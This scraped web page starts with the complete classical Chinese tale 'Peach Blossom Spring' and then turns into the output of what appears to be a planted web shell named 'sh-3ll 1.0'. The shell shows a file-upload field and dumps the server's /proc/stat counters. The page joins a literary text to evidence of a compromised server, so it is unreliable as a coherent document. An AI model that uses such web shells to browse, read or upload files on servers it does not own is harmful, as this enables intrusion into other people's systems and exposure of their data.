晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/
Upload File :
Current File : //proc/stat
cpu  79342448863 1271046219 18021170408 191970075492 524418809 943635867 2159221075 0 0 0
cpu0 1719800723 32396874 436486474 3850604286 10704275 23451566 43434943 0 0 0
cpu1 2003400293 30031888 397615865 3641469766 11572219 21244179 22603838 0 0 0
cpu2 1643041767 29541077 439641608 3864048855 10251411 23099322 112958107 0 0 0
cpu3 1842940249 27224832 376617701 3837275085 11603091 19606959 15716926 0 0 0
cpu4 1677549626 30211686 417901068 3943887872 10569443 20940444 22954142 0 0 0
cpu5 1759783356 25756371 363606338 3940045469 11515954 18755628 12795459 0 0 0
cpu6 1714055252 30196991 419558380 3904995789 10552449 20602280 24814128 0 0 0
cpu7 1706268668 25027506 354367846 4006247423 11503439 18175233 11337725 0 0 0
cpu8 1713267797 29916969 417104044 3906997597 10457741 20508820 27118851 0 0 0
cpu9 1663960599 24556558 345993563 4059231965 11575343 17598840 10437713 0 0 0
cpu10 1664924368 29046770 406872730 3969279231 10495343 20105234 25679786 0 0 0
cpu11 1288073447 16608040 311620803 4475160700 11237259 16795901 10696388 0 0 0
cpu12 1628559149 27642698 422790964 3915177298 10082985 21983279 100349722 0 0 0
cpu13 1601899407 24196140 335121597 4134190938 11676758 17123672 9677556 0 0 0
cpu14 1466731156 24524245 410284127 3904695378 9190221 23726376 290739354 0 0 0
cpu15 1585356166 24008843 331249810 4155365930 11711539 16968913 9441352 0 0 0
cpu16 1610830908 26676749 420486115 3938606432 10072282 22153165 97772646 0 0 0
cpu17 1594594021 24332855 331394933 4145340586 11633810 17237217 9441426 0 0 0
cpu18 1696896435 28356011 410179912 3940911002 10344780 20529865 18962325 0 0 0
cpu19 1554769870 23774329 327417891 4190152904 11648618 17017754 9333695 0 0 0
cpu20 1699065476 28619649 411058017 3930864979 10223338 20588188 25879454 0 0 0
cpu21 1543419186 23744352 324741313 4204472784 11659103 16917489 9260907 0 0 0
cpu22 1625672027 27041275 420784331 3920165147 10030746 22246310 101210790 0 0 0
cpu23 1538893775 23742797 323258780 4210778728 11690017 16833394 9190566 0 0 0
cpu24 1560332476 26719023 427598039 3906051186 9964624 23607466 172790790 0 0 0
cpu25 1538323011 22999268 307097809 4228814180 11094656 16822505 8921238 0 0 0
cpu26 1669121732 27541255 425519120 3874924656 10233238 22166702 96796844 0 0 0
cpu27 1544514522 23166766 312258802 4217162987 11441415 16861233 8872100 0 0 0
cpu28 1756353813 29674910 411033156 3876077903 10476820 20725237 22199293 0 0 0
cpu29 1570621581 23424228 314911446 4188059435 11546094 16951628 8869848 0 0 0
cpu30 1603110020 26012732 434405826 3858418734 9982684 23643445 172486004 0 0 0
cpu31 1581916342 23893282 315758511 4175439743 11627360 17010635 8783589 0 0 0
cpu32 1602653732 25747419 434751332 3858269610 9950191 23701192 172765038 0 0 0
cpu33 1590175104 23915900 314808911 4168245687 11775657 16864795 8693689 0 0 0
cpu34 1783854172 29756201 411629879 3851419579 10470329 21211852 18592464 0 0 0
cpu35 1898126519 30663976 328246078 3840629976 11323255 17831877 8559028 0 0 0
cpu36 1709028523 27707444 428301133 3833352951 10183666 22204873 96117372 0 0 0
cpu37 1607125977 24519710 314726626 4150979468 11819474 16884612 8619824 0 0 0
cpu38 1823457095 29876607 422029522 3797406048 10298578 20796871 22468199 0 0 0
cpu39 1599793870 24637661 315038048 4157754296 11908317 16863917 8602410 0 0 0
cpu40 1796677362 29797657 414661973 3832267925 10296260 20862582 22074553 0 0 0
cpu41 1566098812 24057109 315946810 4190593688 11902860 16937605 8729822 0 0 0
cpu42 1690694470 27790799 428044073 3846620907 10057257 22627296 101094087 0 0 0
cpu43 1610408311 24936566 316715022 4144653535 11882992 17160392 8674294 0 0 0
cpu44 1683731142 27519635 425519805 3850666404 9814643 22624432 106986952 0 0 0
cpu45 1611876685 24871605 316217716 4143643705 11909098 17184179 8678501 0 0 0
cpu46 1795628773 29821837 413522628 3838198021 10467305 20761012 18352647 0 0 0
cpu47 1605071073 24819100 316273911 4150458703 11989846 17119478 8684663 0 0 0
intr 342243974114 103 0 0 0 2140 0 0 0 1 0 51749635 0 0 0 0 0 0 0 310935 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 207918319 1284029007 1289953841 1280114226 1277589001 1282946287 1227868993 1287900308 1288351165 1276718165 1277029454 1275764967 1279311587 1187034766 1234213205 1246433826 1258382403 1274982201 1243488763 1282735556 1291800364 1289295915 1292155969 1292830813 1302473621 1302690456 1247325367 1250017829 1239596471 1220686297 1205297368 1168259604 1116860469 1184091966 1199835175 1192153341 1159969498 0 0 1151974472 1182852257 1195738900 1155867277 1159289476 1201538787 1178868863 1217356790 1186063633 1165933164 1183238067 1195020980 0 0 436088 436088 436088 436088 436088 436088 436088 436088 0 60260078 0 0 436088 436088 436088 436088 436088 436088 436088 436088 0 1 1951620608 2802756262 580924971 1844581449 2083078381 3339630204 649075588 1371975533 0 3 1883320434 2047505781 1855435697 2156131059 1808516340 2094285171 1887978580 3913353549 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 3381950332727
btime 1715510159
processes 10179903875
procs_running 22
procs_blocked 0
softirq 343829444403 38 1974939591 743193614 4144419641 30765680 3 1007074982 3566721824 39837505 1610009733